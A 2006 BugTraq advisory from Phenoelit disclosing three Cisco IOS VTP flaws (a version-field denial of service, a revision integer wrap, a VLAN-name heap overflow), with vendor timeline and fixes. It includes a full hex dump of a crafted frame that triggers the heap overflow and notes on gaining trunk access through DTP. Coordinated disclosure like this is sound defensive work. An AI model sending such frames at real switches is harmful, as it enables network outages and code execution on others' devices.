BugTraq
Cisco IOS VTP issues Sep 13 2006 12:18PM
FX (fx phenoelit de)
Phenoelit Advisory <wir-haben-auch-mal-was-gefunden #0815 +---+>

[ Title ]
Cisco Systems IOS VTP multiple vulnerabilities

[ Authors ]
FX <fx (at) phenoelit (dot) de [email concealed]>

Phenoelit Group (http://www.phenoelit.de)
Advisory http://www.phenoelit.de/stuff/CiscoVTP.txt

[ Affected Products ]
Cisco IOS and CatOS

Tested on: C3550 IOS 12.1(19)

Cisco Bug ID: CSCei54611
CERT Vu ID: <not assinged>

[ Vendor communication ]
06.07.05 Initial Notification, gaus (at) cisco (dot) com [email concealed]
12.07.05 PSIRT member Wendy Garvin <wgarvin (at) cisco (dot) com [email concealed]>
took over
14.07.05 Wendy states the there is a fix for one of the
issues
19.07.05 According to Wendy, Cisco has trouble reproducing
the issues and finding the affected code
27.07.05 Wendy notifies FX about fixed code
12.09.06 Phenoelit advisory goes to Cisco (FX just forgot
about it, too much to hack, too little time, but the
PSIRT party in Vegas was a good reminder)
13.09.06 Final advisory going public as coordinated release

[ Overview ]
Cisco Systems IOS contains bugs when handling the VLAN
Trunking Protocol (VTP). Specially crafted packets may cause Denial of
Service conditions, confusion of the network operator and a heap
overflow with the possibility for arbitrary code execution.

[ Description ]
Cisco IOS suffers from several bugs in the VTP handling code. All
issues require VTP to be in server or client mode. Transparent mode
(default) is not affected.

Issue 1: Denial of Service
When sending a VTP version 1 summary frame to a Cisco IOS device
and setting the VTP version field to value 2, the device stops
working. Apparently, the VTP handling process will loop and is
terminated by the systems watchdog process, reloading the device.

Issue 2: Integer wrap in VTP revision
If an attacker can send VTP updates (summary and sub) to a Cisco IOS
or CatOS device, he can choose the revision of the VTP information.
A revision of 0x7FFFFFFF will be accepted by IOS. When the switchs
VLAN configuration is changed by an operator, IOS increases the
revision, which becomes 0x80000000 and seems to be internally
tracked by a signed integer variable. The revision is therefore
seen as large negative value. From this point in time on, the switch
will not be able to communicate changed VLAN configurations, since
the generated updates will be rejected by all other switches.

Issue 3: VLAN name heap overflow
If an attacker can send VTP updates to a Cisco IOS device, the
type 2 frames contain records for each individual VLAN in the update.
One field of the VTP records contains the name of the VLAN, another
field the length of this name. Sending an update with VLAN name
above 100 bytes and correctly reflecting the length in the VLAN
name length field causes a heap overflow. The overflow can be
exploited to execute arbitrary code on the receiving switch. The
maximum length of a VLAN name in VTP is 255 bytes.

[ Example ]
The following is an example frame for issue 3. The appropriate VTP
summary advertisement (type 1) must be sent before this frame.

IEEE 802.3 Ethernet
Destination: CDP/VTP (01:00:0c:cc:cc:cc)
Source: <any>
Length: 260
Logical-Link Control
Virtual Trunking Protocol
Version: 0x01
Code: Subset-Advert (0x02)
Sequence Number: 1
Management Domain Length: 5
Management Domain: AAAAA
Configuration Revision Number: 3
VLAN Information
VLAN Information Length: 212
Status: 0x00
VLAN Type: Ethernet (0x01)
VLAN Name Length: 200
ISL VLAN ID: 0x0001
MTU Size: 1500
802.10 Index: 0x000186a1
VLAN Name: AAAAA[...]AAAAAA (200 in total)

0000 01 00 0c cc cc cc 00 fe fe c0 01 00 01 04 aa aa ...........^....
0010 03 00 00 0c 20 03 01 02 01 05 41 41 41 41 41 00 .... .....AAAAA.
0020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0030 00 00 00 00 00 00 00 00 00 00 00 00 00 03 d4 00 ................
0040 01 c8 00 01 05 dc 00 01 86 a1 41 41 41 41 41 41 ..........AAAAAA
0050 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0060 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0070 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0080 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0090 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00a0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00b0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00c0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00d0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00e0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00f0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0100 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0110 41 41 AA

[ Notes ]
The VTP management domain is needed for the summary advertisement
to be correct. This information is distributed via CDP if enabled.

The attacker has to be on a trunk port for VTP frames to be
accepted. The Dynamic Trunk Protocol (DTP) can be used to become
a trunking peer.

[ Solution ]
Cisco Systems provides fixed software, which can be found based on
the following bug IDs:
CSCsd52629/CSCsd34759 -- VTP version field DoS
CSCse40078/CSCse47765 -- Integer Wrap in VTP revision
CSCsd34855/CSCei54611 -- Buffer Overflow in VTP VLAN name

In general, it is recommended to configure a shared VTP password,
which will be used in an MD5 hash to protect the summary
advertisement.

[ end of file ($Revision: 1.1 $) ]

--
FX <fx (at) phenoelit (dot) de [email concealed]>
Phenoelit (http://www.phenoelit.de)
672D 64B2 DE42 FCF7 8A5E E43B C0C1 A242 6D63 B564

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